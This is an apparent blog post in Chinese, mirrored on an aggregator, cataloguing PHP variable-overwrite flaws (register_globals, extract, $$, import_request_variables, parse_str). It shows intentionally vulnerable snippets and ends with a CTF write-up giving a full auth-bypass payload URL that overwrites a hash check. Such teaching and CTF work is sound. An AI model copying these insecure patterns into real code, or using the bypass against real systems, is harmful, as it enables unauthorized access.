2

PHP变量覆盖总结

 2 years ago
source link: https://y4er.com/post/variable-coverage/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
1 min read

PHP变量覆盖总结

2019-05-09

最近做ctf遇到了很多次变量覆盖的问题,总结一下

register_global

全局变量注册,本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除

当在php.ini开启register_globals= On时,代码中的参数会被用户提交的参数覆盖掉。

<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";
if ($auth) {
    echo "覆盖!";
}else{
    echo "没有覆盖";
}

当访问http://127.0.0.1/1.php时输出没有覆盖

但是当请求http://127.0.0.1/1.php?auth=1时会覆盖掉$auth输出覆盖

extract()

从数组中将变量导入到当前的符号表 直接看代码

<?php
$auth=false;
extract($_GET);

if ($auth){
    echo "over";
}

同样请求http://127.0.0.1/1.php?auth=1时会覆盖掉$auth输出over

$$

$$符号在php中叫做可变变量,可以使变量名动态设置。举个例子

<?php
$a='hello';
$$a='world';
echo "$a ${$a}";
echo "$a $hello";
?>

可以看到在这里${$a}等同于$hello,接着我们再来看怎么来进行变量覆盖

$auth=0;
foreach ($_GET as $key => $value) {
    $$key=$value;
}
echo $auth;

在第二行中遍历了全局变量$_GET,第三行将key当作变量名,把value赋值。 那么我们传入http://127.0.0.1/1.php?auth=1时会将$auth的值覆盖为1

import_request_variables

将 GET/POST/Cookie 变量导入到全局作用域中,如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。那么和register_globals存在相同的变量覆盖问题。

$auth = '0';
import_request_variables('G');
 
if($auth == 1){
  echo "over!";
}

同样传入http://127.0.0.1/1.php?auth=1时会将$auth的值覆盖为1,输出over!

parse_str()

将字符串解析成多个变量

$a='aa';
$str = "a=test";
parse_str($str);
echo ${a};

可以看出来将$str解析为$a='test',与parse_str()类似的函数还有mb_parse_str(),不在赘述。

我们来看一道ctf题,在我上一篇文章ISCC的web4中也提到了.

<?php 
error_reporting(0); 
include("flag.php"); 
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a'; 
$parsed = parse_url($_SERVER['REQUEST_URI']); 
if(isset($parsed["query"])){ 
    $query = $parsed["query"]; 
    $parsed_query = parse_str($query); 
    if($parsed_query!=NULL){ 
        $action = $parsed_query['action']; 
    } 

    if($action==="auth"){ 
        $key = $_GET["key"]; 
        $hashed_input = hash('sha256', $key); 
        if($hashed_input!==$hashed_key){ 
            die("no"); 
        } 

        echo $flag; 
    } 
}else{ 
    show_source(__FILE__); 
}?>

在第五行将请求的URI通过parse_url()解析后赋值给$parsed变量。

在第八行将我们提交的query参数使用parse_str解析,这时就产生了变量覆盖的问题,我们可以通过query提交参数去覆盖变量。

接着往下看$hashed_input!==$hashed_key成立输出flag,此时$hashed_input我们可控,那么我们可以覆盖掉$hashed_key来使条件成立

$hashed_input = hash('sha256', $key);是sha256加密,那么我们可以传入key=a,此时$hashed_input等于ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb

然后覆盖$hashed_key,传入query=&hashed_key=ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb覆盖掉。

这时payload为

http://39.100.83.188:8066/?query=&hashed_key=ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb&action=auth&key=a

拿到flag

代码审计中变量覆盖还算好找,希望自己细心,也希望这篇文章对大家有用处。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK